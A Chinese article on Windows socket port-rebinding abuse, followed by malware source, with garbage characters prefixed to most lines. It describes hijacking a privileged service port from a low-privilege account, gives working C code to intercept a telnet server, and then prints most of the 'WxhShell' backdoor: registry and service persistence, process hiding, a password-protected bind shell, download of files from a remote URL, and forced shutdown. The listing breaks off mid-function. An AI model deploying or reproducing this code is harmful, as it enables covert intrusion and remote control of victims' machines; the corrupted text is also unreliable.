在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iW}l[g8sw! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4LEE
/ y,&M\3A saddr.sin_family = AF_INET;
= b!J)] ww($0A`ek saddr.sin_addr.s_addr = htonl(INADDR_ANY);
qZJ*J+ o w_y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6lWFxbh e^NEj1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;Zq~w 8>{W:?I 这意味着什么?意味着可以进行如下的攻击:
?a>7=)%AH @5jG 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B#6pQp$ G\+nWvV7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
L{LU@.;1 S%X\,N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ij(4)= 9I\3T6&tr 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!1'-'Q@f R2O.}!' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!Gp3/<"Wy$ _`_IUuj$E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!e'0jf-~ O_Rcd&<mr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
U[QD! aoDD&JE #include
E^ok`wfO #include
8RAeJ~e #include
8M|)ojH #include
2ly,l[p8 DWORD WINAPI ClientThread(LPVOID lpParam);
eq~c int main()
`MsYgd {
MpA;cw]cI/ WORD wVersionRequested;
K@P`_yxN DWORD ret;
EotwUT| WSADATA wsaData;
+qUkMx BOOL val;
J`q}Ry; SOCKADDR_IN saddr;
Yv>BOK SOCKADDR_IN scaddr;
2]} Uov int err;
+&7Kk9^ SOCKET s;
,=Nw(GI SOCKET sc;
T1QsW<*j int caddsize;
E ;!<Z4 HANDLE mt;
v0C;j(2zb DWORD tid;
=kb6xmB^t wVersionRequested = MAKEWORD( 2, 2 );
#t@x6Vt err = WSAStartup( wVersionRequested, &wsaData );
d{yIy'+0/ if ( err != 0 ) {
pf8O`e,Awf printf("error!WSAStartup failed!\n");
$}nh[@ return -1;
'^Utbp2< }
R6Zj=l[ saddr.sin_family = AF_INET;
8b(1ut{ !(*a+ur&i //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Y#lk!#\Y GwQZf| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
O<1vSav!K saddr.sin_port = htons(23);
~zxwg+:QO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
``$%L=_m {
M%&A.j[ printf("error!socket failed!\n");
n#>.\F return -1;
vK6ibl0 }
qB F!b0lr val = TRUE;
R6!cK[e]4 //SO_REUSEADDR选项就是可以实现端口重绑定的
{jhmp\PN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"%E-X:Il# {
y|6@-:B. printf("error!setsockopt failed!\n");
`~_H=l9{ return -1;
S,9NUt }
%i$M/C" ( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
-XVEV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!ww:O| 0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
j /H>0^ c6,s+^^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l
Io9,Ke {
A<SOT >m] ret=GetLastError();
d1V^2Hb? printf("error!bind failed!\n");
DD!MGf/ return -1;
Q1`<fD
}
6F*-qb3 listen(s,2);
heL$2dZ5H while(1)
Tr8AG> {
2(m85/Hr\; caddsize = sizeof(scaddr);
RCBf;$O //接受连接请求
:8^M5} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_8Nw D_" if(sc!=INVALID_SOCKET)
1Xy8|OFc[ {
M3Khc#5S( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
P+dA~2k if(mt==NULL)
Y=vVxVI\ {
B;Xoa, printf("Thread Creat Failed!\n");
7fju break;
t7w-TJvP }
~u /aOd }
q=6Cc9FN CloseHandle(mt);
yo\N[h7 }
EBoGJ_l closesocket(s);
b
, juF2 WSACleanup();
M{?zvq?d return 0;
DX}B0B }
TGU:(J'^ DWORD WINAPI ClientThread(LPVOID lpParam)
R_Zv'y6 {
w9RF2J SOCKET ss = (SOCKET)lpParam;
.dx
4,|6 SOCKET sc;
%G;0T;0L unsigned char buf[4096];
vBh; SOCKADDR_IN saddr;
;V_.[aX long num;
B_{HkQ.PW DWORD val;
sm 's-gD DWORD ret;
G2.|fp_}pG //如果是隐藏端口应用的话,可以在此处加一些判断
pheE^jUr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
GE1i+.+-. saddr.sin_family = AF_INET;
/g_9m saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%#~((m1 saddr.sin_port = htons(23);
n*4lz^LR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oZTgN .q {
4k8*E5cx printf("error!socket failed!\n");
<9P4}`%)3 return -1;
M|\^UF2e }
o#qH2)tb val = 100;
CRH{E}> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#6Jc}g<?g {
t,
U)
~wi ret = GetLastError();
*GQDfs`m return -1;
pzp,t(%j }
&+ KyPY+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t3PtKgP-6 {
7vn%kW=$ ret = GetLastError();
~C&*.ZR return -1;
9O;cJ)tXY }
qG<7hr@x] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
t\h$&[[l'z {
pSHSgd~& printf("error!socket connect failed!\n");
#j;Tb2&w closesocket(sc);
|%
z^N* closesocket(ss);
f-;$0mTQ return -1;
0n
Y6A~ }
{esJ=FV\ while(1)
~+yZfOcw {
_V@WNo%B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
HBH$
//如果是嗅探内容的话,可以再此处进行内容分析和记录
i
AdGgK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
X) V7bVW num = recv(ss,buf,4096,0);
[4sEVu} if(num>0)
y$X(S\W send(sc,buf,num,0);
(n,u|}8Y else if(num==0)
4({(i break;
C{EAmv' num = recv(sc,buf,4096,0);
3jjMY if(num>0)
r-}-C! send(ss,buf,num,0);
0}{'C5 else if(num==0)
7 8Vcu'j&_ break;
hi ~} }
o*">KqU`b closesocket(ss);
Dj i^+;"& closesocket(sc);
DAfyK?+UL return 0 ;
~9\$5n)a }
Tc6:UF ='Q{R*u n]Zk;%yL ==========================================================
6i.gyD Mp~y0e 下边附上一个代码,,WXhSHELL
kH'p\9= y<pnp?x4 ==========================================================
c.AYxI" ~vHk&r]| #include "stdafx.h"
F.tfgW(A@ mpgO s #include <stdio.h>
_]b3,%2 #include <string.h>
;}qhc l+ #include <windows.h>
`lO(s%HC #include <winsock2.h>
=<c#owe:m #include <winsvc.h>
Xa," 'r #include <urlmon.h>
~. YWV Z:*@5 #pragma comment (lib, "Ws2_32.lib")
j%L&jH6@
#pragma comment (lib, "urlmon.lib")
fmfTSN(Q~` VIC0}LT0R #define MAX_USER 100 // 最大客户端连接数
Z&Y=`GOI #define BUF_SOCK 200 // sock buffer
$<nCXVqL, #define KEY_BUFF 255 // 输入 buffer
%@Oma &$'z #define REBOOT 0 // 重启
\8S~c8Z~ #define SHUTDOWN 1 // 关机
'$G"[ljr aZ X mlq #define DEF_PORT 5000 // 监听端口
20b<68h$: Fk"Ee&H)( #define REG_LEN 16 // 注册表键长度
~
Vw9 #define SVC_LEN 80 // NT服务名长度
RBwO+J53y ]}Z4P-"t // 从dll定义API
ST5V!jz typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-#In;~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
QzOkpewf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
mj&57D\fq typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0p(L' ,HB2hHD // wxhshell配置信息
|l0Ea struct WSCFG {
b>\?yL/%+? int ws_port; // 监听端口
zce`\ /: char ws_passstr[REG_LEN]; // 口令
U!(@q!>G int ws_autoins; // 安装标记, 1=yes 0=no
\3Pv# ) char ws_regname[REG_LEN]; // 注册表键名
~j>D=! char ws_svcname[REG_LEN]; // 服务名
0v)bA}k char ws_svcdisp[SVC_LEN]; // 服务显示名
P`$!@T0= char ws_svcdesc[SVC_LEN]; // 服务描述信息
JhHWu< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7 <9yH:1 int ws_downexe; // 下载执行标记, 1=yes 0=no
D}3T|N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{2&m`Dbm char ws_filenam[SVC_LEN]; // 下载后保存的文件名
JIm4vS T!RT<& };
1PH:\0} g7\,{Bw#E // default Wxhshell configuration
gU&%J4O struct WSCFG wscfg={DEF_PORT,
5%zXAQD=< "xuhuanlingzhe",
Pq9|WV#F5/ 1,
yWDTjY/ "Wxhshell",
jN31hDg<z "Wxhshell",
Z[Qza13lo "WxhShell Service",
YZc>dE "Wrsky Windows CmdShell Service",
Yd
EptAI "Please Input Your Password: ",
8uNULob 1,
Jzkq)]M "
http://www.wrsky.com/wxhshell.exe",
6$U]9D "Wxhshell.exe"
/./"x~@ };
[AU
II*:} `B/0i A // 消息定义模块
i;/xK=L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
g.py+
ZFJ char *msg_ws_prompt="\n\r? for help\n\r#>";
[XVEBA4GI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5xCT~y/a char *msg_ws_ext="\n\rExit.";
8:=n* char *msg_ws_end="\n\rQuit.";
Z@a9mFI? char *msg_ws_boot="\n\rReboot...";
)s_n char *msg_ws_poff="\n\rShutdown...";
cD*}..-/4 char *msg_ws_down="\n\rSave to ";
lot%N(mB` kIHDeo%K} char *msg_ws_err="\n\rErr!";
<%.5hCTp97 char *msg_ws_ok="\n\rOK!";
VKp*9%9 fhPkEvJ char ExeFile[MAX_PATH];
Sr?#wev]rn int nUser = 0;
]\-^>!F #K HANDLE handles[MAX_USER];
^I8Esl8 int OsIsNt;
Zxr!:t7 !p TJ./ SERVICE_STATUS serviceStatus;
Jn:ZYqc SERVICE_STATUS_HANDLE hServiceStatusHandle;
dZ#&YG)?e {7u[1[L1 // 函数声明
j#r6b]k(Hv int Install(void);
YHNR3 int Uninstall(void);
Snp|!e int DownloadFile(char *sURL, SOCKET wsh);
@"a6fn int Boot(int flag);
1 `^Rdi0 void HideProc(void);
]aP=Ks% int GetOsVer(void);
:x.7vZzxs int Wxhshell(SOCKET wsl);
"Z
Htr<+ void TalkWithClient(void *cs);
:y*NM,s int CmdShell(SOCKET sock);
m>USD?i int StartFromService(void);
Y8M]Lwj int StartWxhshell(LPSTR lpCmdLine);
&Z(K6U#. **9x?s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
n0Y+b[+wj VOID WINAPI NTServiceHandler( DWORD fdwControl );
_Zk{! NBl+_/2'w // 数据结构和表定义
)?+$x[f!* SERVICE_TABLE_ENTRY DispatchTable[] =
1b=lpw1} {
oSiMpQu08 {wscfg.ws_svcname, NTServiceMain},
^b: (jI*l {NULL, NULL}
.2d9?p3Y };
:w}{$v}#D; T134ZXqqz // 自我安装
V7#v6!7A@ int Install(void)
4BnSqw a_ {
`E+Jnu,jC char svExeFile[MAX_PATH];
QaUm1i# HKEY key;
?
WJ> p strcpy(svExeFile,ExeFile);
^`un'5Vk w=b)({`M // 如果是win9x系统,修改注册表设为自启动
XE^)VLH: if(!OsIsNt) {
_zlqtO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zvABU+{jD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
BA\/YW @ RegCloseKey(key);
l/;X?g5+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%ZHP2j
%~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"KcA RegCloseKey(key);
n>@oBG)! return 0;
W3`>8v1?o }
zJe#m|Z }
f{SB1M }
@`\VBW else {
*JggU 8DP+W$ // 如果是NT以上系统,安装为系统服务
I*9e]m" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
x.Q&$# if (schSCManager!=0)
vJAZ%aW {
!9 fz(9 SC_HANDLE schService = CreateService
Gt9&)/# (
O=u1u}CP? schSCManager,
o7IxJCL=Q wscfg.ws_svcname,
hig2
wscfg.ws_svcdisp,
[+O"<Ua SERVICE_ALL_ACCESS,
GfM;saTz{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
j
";2o( SERVICE_AUTO_START,
THmb6^ SERVICE_ERROR_NORMAL,
u2
`b'R9 svExeFile,
f~ }H NULL,
Bl=tYp|a NULL,
>2#8B NULL,
^CwR!I.D}4 NULL,
!w&kyW?e NULL
g{5A4|_7 );
C8F 7bG8c if (schService!=0)
sz9L8f2 {
3fN.bU9_ CloseServiceHandle(schService);
Z7 E CloseServiceHandle(schSCManager);
'X shmZ0& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
qzb<J=FAU strcat(svExeFile,wscfg.ws_svcname);
DTWD|M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K~ ;45Z2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'\jd#Kn'h RegCloseKey(key);
(b`]M`Fc return 0;
Nk {XdrY }
L(X6-M: }
KK@.~'d CloseServiceHandle(schSCManager);
N!*_La=TuH }
`^lYw:xA }
b!M"VDjQ Nj("|`9" return 1;
>E*$
E }
Bn>8&w/P `a9L%z // 自我卸载
ZE%YXG int Uninstall(void)
=]k {"?j {
b(9FZ]7S HKEY key;
=J1rlnaaEL #-h\. #s if(!OsIsNt) {
CKA;.sh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Rp$}YN RegDeleteValue(key,wscfg.ws_regname);
EI\9_}@, RegCloseKey(key);
Qt|c1@J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EUIIr4] RegDeleteValue(key,wscfg.ws_regname);
`"%T=w RegCloseKey(key);
*OQG4aWy return 0;
OgX6'E\E }
q%ow/!\; }
$8a(veXd }
q 4V7 else {
6m6zA/ <8,cuX\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ne^imht if (schSCManager!=0)
_V\Bp=9W {
^B+!N; SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!+:ov'F if (schService!=0)
\e`~i@) ~Z {
}x&N^Ky3c if(DeleteService(schService)!=0) {
O@YTAT&d# CloseServiceHandle(schService);
=|=.>?t6Z0 CloseServiceHandle(schSCManager);
x]z2Z* return 0;
%$TGzK 1 }
csfgJ^ n CloseServiceHandle(schService);
^ "\R\COQ }
Ko^c|}mh*! CloseServiceHandle(schSCManager);
Vx @|O% }
Yq/.-4y }
YBnA+l* 'g9"Qv?0{` return 1;
[V}S<Xp }
]D,MiDph 5aa<qtUjH // 从指定url下载文件
j^`hzh3S int DownloadFile(char *sURL, SOCKET wsh)
(!:cen~|[ {
)Z %T27r,^ HRESULT hr;
JAI)Eqqv] char seps[]= "/";
aH#l9kCb char *token;
bMU(?hb char *file;
Rar"B*b;$ char myURL[MAX_PATH];
7==f\%, char myFILE[MAX_PATH];
N~F
RM& x Zk[&IBE_ strcpy(myURL,sURL);
JH8zF{? token=strtok(myURL,seps);
q7&6r|w1I while(token!=NULL)
R<V!%rL;; {
D$JHs4 file=token;
~(]0k.\ token=strtok(NULL,seps);
#Z5}2soA }
Iuh/I +[7 C{d7J'Avk GetCurrentDirectory(MAX_PATH,myFILE);
?Mee
6 strcat(myFILE, "\\");
?ByM[E$ strcat(myFILE, file);
gR@C0 send(wsh,myFILE,strlen(myFILE),0);
'ky b\q send(wsh,"...",3,0);
QFIL)'K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
h;j IYxj if(hr==S_OK)
(#;`"Yu return 0;
%E_b'[8 else
]G2uk` return 1;
-J^(eog[6 mLL340c#\ }
1LJUr"6] {?`al5Sz // 系统电源模块
-@ZiS^l int Boot(int flag)
m RZ:ie {
]f1{n HANDLE hToken;
YX*Qd$chZ TOKEN_PRIVILEGES tkp;
OaL\w
D^ 7h)iu9j if(OsIsNt) {
J"FC%\| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
: g.46dp4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)TmHhNo tkp.PrivilegeCount = 1;
^OErq&`u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"HXYNS> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}=!,o if(flag==REBOOT) {
)7:J[0ZiQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6_4D9 W return 0;
K x~|jq }
A7c/N=Cp^ else {
pNRk.m] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
x1ztfJd return 0;
F!.E5<&7= }
wYlf^~#" }
3T&6opaF else {
?^j^K-rx if(flag==REBOOT) {
$u/E\l if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+NFzSal return 0;
w eQYQrN }
MJ=)v]a else {
WlYs~(=9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
CwJDmz\tk return 0;
Ks\ NE=;5 }
d9n?v)<v }
b<]n%Q'n *~/OOH$" return 1;
1$*%" 5a }
b2@VxdFN `~X!Ll // win9x进程隐藏模块
VS&TA> void HideProc(void)
b^[F""!e {
[2|kl
l WYc7aciJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
d`1I".y if ( hKernel != NULL )
=LTmr1? {
*kIc9} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
wW"z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,<:!NF9 FreeLibrary(hKernel);
3 R&lqxhg }
_`#3f1F@[ 1xc~`~ return;
yObuWDA9 }
SIKOFs xTGxvGv8 // 获取操作系统版本
{3!E4"p int GetOsVer(void)
a5G/[[cwTV {
G/v/+oX OSVERSIONINFO winfo;
B&N/$=5m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G7=pBf GetVersionEx(&winfo);
W0=O+0$^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
9!><<7TS return 1;
MaD3[4@# else
FE o269Ur return 0;
sN("+ sZ.n }
B(F,h+ajy .I@CS>j // 客户端句柄模块
LOTP*Syjf int Wxhshell(SOCKET wsl)
<40rYr$/J {
+D1 d=4 SOCKET wsh;
7n90f2"m struct sockaddr_in client;
fo4.JyBk DWORD myID;
DD44"w_9 s[gKc ' while(nUser<MAX_USER)
XW?b\!@ $ {
(Y^X0yA/ int nSize=sizeof(client);
z5bo_Eq wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"@9?QI} if(wsh==INVALID_SOCKET) return 1;
3v")J*t }$\M{#C~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"z<azs if(handles[nUser]==0)
Od?qz1 closesocket(wsh);
-8N|xQ378 else
hva2o` nUser++;
<A9y9|>o }
>{ me WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+
S4fGT Zatf9yGD return 0;
qT/Do?Y }
?b!Fa <|?K%FP7Z // 关闭 socket
e:AHVepj{ void CloseIt(SOCKET wsh)
{s3z"OV {
8UkKU_Uso closesocket(wsh);
0R0{t=VJZ nUser--;
LB/C-n.` ExitThread(0);
K 0hu:1l) }
{m`A!qcD| 0 'Vg6E]/ // 客户端请求句柄
s`Cy
a` void TalkWithClient(void *cs)
"G:<7oTa {
%{;Qls%[t 7E!7"2e
a SOCKET wsh=(SOCKET)cs;
O@iu aeEW char pwd[SVC_LEN];
M. td^l0 char cmd[KEY_BUFF];
S^Au#1e
char chr[1];
7a=S int i,j;
4Z*U}w) OUP?p@%]< while (nUser < MAX_USER) {
gGMWr.!
8 na^sBq?\ if(wscfg.ws_passstr) {
MuBx#M/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g=T/_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C[WCg9Av //ZeroMemory(pwd,KEY_BUFF);
_j>;ipTb+ i=0;
+}Av-47`h while(i<SVC_LEN) {
,i.%nZw\ xug)aE // 设置超时
iRi{$.pVJ fd_set FdRead;
h3gWOU struct timeval TimeOut;
IHC1G1KW=A FD_ZERO(&FdRead);
:D7|%KK FD_SET(wsh,&FdRead);
oRp:B& TimeOut.tv_sec=8;
Z2"?&pKV TimeOut.tv_usec=0;
hO[3 Z^X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+%\oO/4Fs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
UhmTr[& q8ImrC.'^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
AnZclqtb pwd
=chr[0]; B}d.#G+_$x
if(chr[0]==0xd || chr[0]==0xa) { &L^CCi
pwd=0; h8jD}9^
break; o/o:2p.
} wNE$6
i++; zX{ .^|
} EC<b3
D=RU`?L
// 如果是非法用户,关闭 socket 3?&h^UX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BGzI
} @
\2#Dpr
amQz^^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7-_vY[)/
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uIMe
9N[EZhW
while(1) { `B8tmW#
wcDjg&:=ml
ZeroMemory(cmd,KEY_BUFF); 5jq=_mHt
SK$Vk[c]
// 自动支持客户端 telnet标准 *R% wUi
j=0; 7m5Co>NkuK
while(j<KEY_BUFF) { dRvin[R8
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y33~HsOJ
cmd[j]=chr[0]; ;1DdjE Tr
if(chr[0]==0xa || chr[0]==0xd) { #~qAHJ<
cmd[j]=0; 4 c'4*`I
break; (P6vOo
} 6g>)6ux>aV
j++; AY_Q""v
} o/^;@5\
z 2/!m[U
// 下载文件 "Mmf6hu
if(strstr(cmd,"http://")) { =7
,Kf}6
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wHsB,2H
if(DownloadFile(cmd,wsh)) u~Tg&0V30
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h(IUD{8
else #f'DEo<b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y@ F
} :46h+?
else { MEwdw3
-T/W:-M(
switch(cmd[0]) { AH{^spD{7,
f3WSa&eF
// 帮助 4}KU>9YRA
case '?': { n"aCt%v
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j
nwQV
break; E@
h
y7 X
} l54|Q
// 安装 FquFRx
case 'i': { Tvf~P w
if(Install()) L*?!Z^k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N
b3$4(F
else Zzd/K^gg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +lO'wa7|3
break; igDyp0t
} A~-#@Z
// 卸载 B94
&elu
case 'r': { dGgP_S
if(Uninstall()) F}ukZ
DB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m$y]Lf
else p {%t q$}.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rPq<Xb\
break; #w3ru6*W
} m[2'd
// 显示 wxhshell 所在路径 S-E++f9D~
case 'p': { 6 o[/F3`
char svExeFile[MAX_PATH]; ,&a`d}g&G
strcpy(svExeFile,"\n\r"); "2HY5AE
strcat(svExeFile,ExeFile); DOm-)zl{|x
send(wsh,svExeFile,strlen(svExeFile),0); p4/$EPt)lY
break; Ae|P"^kZ
} ,J9}.}Hd
// 重启 'UDBV
case 'b': { r25Z`X Z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E;-qP)yU
if(Boot(REBOOT)) xDrV5bg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4u:0n>nJ1
else { _GbE^
closesocket(wsh); Z^tGu7x
ExitThread(0); )}X5u%woV
} S6 }QFx
break; = hX[
} Z6=~1'<X
// 关机 &`:rp!Lc
case 'd': { P%o44|[][
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c"Y!$'|Q
if(Boot(SHUTDOWN)) 8l xY]UT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T+TF-] J
else { <]#o*_aFP
closesocket(wsh); -0~IY
ExitThread(0); $@87?Ab
} UxPGv;F
break; -ID!pT vW
}
Q&+c.S
// 获取shell M4<+%EV}
case 's': { kr_oUXiX
CmdShell(wsh); I($,9|9F
closesocket(wsh); mCb 9*|
ExitThread(0); ~'BUrX\
break; [n:PNB
} <%,'$^'DS
// 退出 X!0kK8v
case 'x': { VJ1*|r,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q`loOm=y
CloseIt(wsh); :Ee ?K
break; H%.zXQ4}n
} |[w^eg
// 离开 ^HFo3V
}h
case 'q': { iK x+6v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); DPPS?~Pq
closesocket(wsh); dM|g`rr
E
WSACleanup(); B82,.?
exit(1); uZ[/%GTX{)
break; Oc-u=K,B
} /VtlG+dLl
} w4OW4J#
} UA0tFeH
YmCbxYa7
// 提示信息 4_<
nQ9K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4[l^0
} <$C<Ba?;?
} (n=Aa;
?Y!^I2Y6
return; @W [{2d
} i_YW;x
97x%2.\:
// shell模块句柄 j#o3
int CmdShell(SOCKET sock) %AgA -pBp
{ $eCGez<E
STARTUPINFO si; +wts 7,3
ZeroMemory(&si,sizeof(si)); l4`^!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ("F)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kfd _uXL>
PROCESS_INFORMATION ProcessInfo;
tJ1-DoU
char cmdline[]="cmd"; ]|BojSL_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E(/ sXji!
return 0; 104!!m
} : ~'Z(-a
S2}Z&X(
// 自身启动模式 ZV#$Z
int StartFromService(void) 4@~a<P#
{ afy/K'~
typedef struct 4f
jC
{ K!7q!%Ju
DWORD ExitStatus; Z%;)@0~f
DWORD PebBaseAddress; ) BlJ|M
DWORD AffinityMask; u7(];
DWORD BasePriority; =f4<({9
ULONG UniqueProcessId; h+xA?[c=
